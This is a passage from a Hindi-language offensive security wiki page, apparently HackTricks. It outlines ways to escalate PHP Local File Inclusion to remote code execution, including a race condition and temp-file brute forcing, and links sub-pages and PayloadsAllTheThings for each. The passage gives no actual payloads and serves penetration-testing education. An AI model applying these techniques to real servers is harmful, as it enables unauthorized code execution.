{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

phpinfo() के माध्यम से (file_uploads = on)

यदि आपने Local File Inclusion पाया है और एक फाइल जो phpinfo() को file_uploads = on के साथ प्रदर्शित करती है तो आप RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure के माध्यम से

यदि आपने Local File Inclusion पाया है और आप अस्थायी फाइल के पथ को बाहर निकाल सकते हैं लेकिन सर्वर यह जांच रहा है कि क्या शामिल की जाने वाली फाइल में PHP चिह्न हैं, आप इस जांच को बायपास करने के लिए इस Race Condition का प्रयास कर सकते हैं:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

अनंत प्रतीक्षा + ब्रूटफोर्स के माध्यम से

यदि आप LFI का दुरुपयोग करके अस्थायी फाइलें अपलोड कर सकते हैं और सर्वर को PHP निष्पादन में लटका सकते हैं, तो आप फिर घंटों तक फाइलनामों को ब्रूट फोर्स कर सकते हैं अस्थायी फाइल को खोजने के लिए:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

घातक त्रुटि के लिए

यदि आप फाइलों में से किसी एक को शामिल करते हैं /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (आपको उसी त्रुटि को फेंकने के लिए उसी फाइल को 2 बार शामिल करना होगा)।

मुझे नहीं पता कि यह कैसे उपयोगी है लेकिन हो सकता है।
यहां तक कि यदि आप PHP घातक त्रुटि का कारण बनते हैं, PHP अस्थायी फाइलें अपलोड की गई हैं वे हटा दी जाती हैं।

संदर्भ

PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

Hacking Insights
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें।

Real-Time Hack News
तेजी से बदलते हैकिंग विश्व के साथ अप-टू-डेट रहें।

Latest Announcements
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें।

Discord पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

htARTE (HackTricks AWS Red Team Expert) के साथ शून्य से हीरो तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके: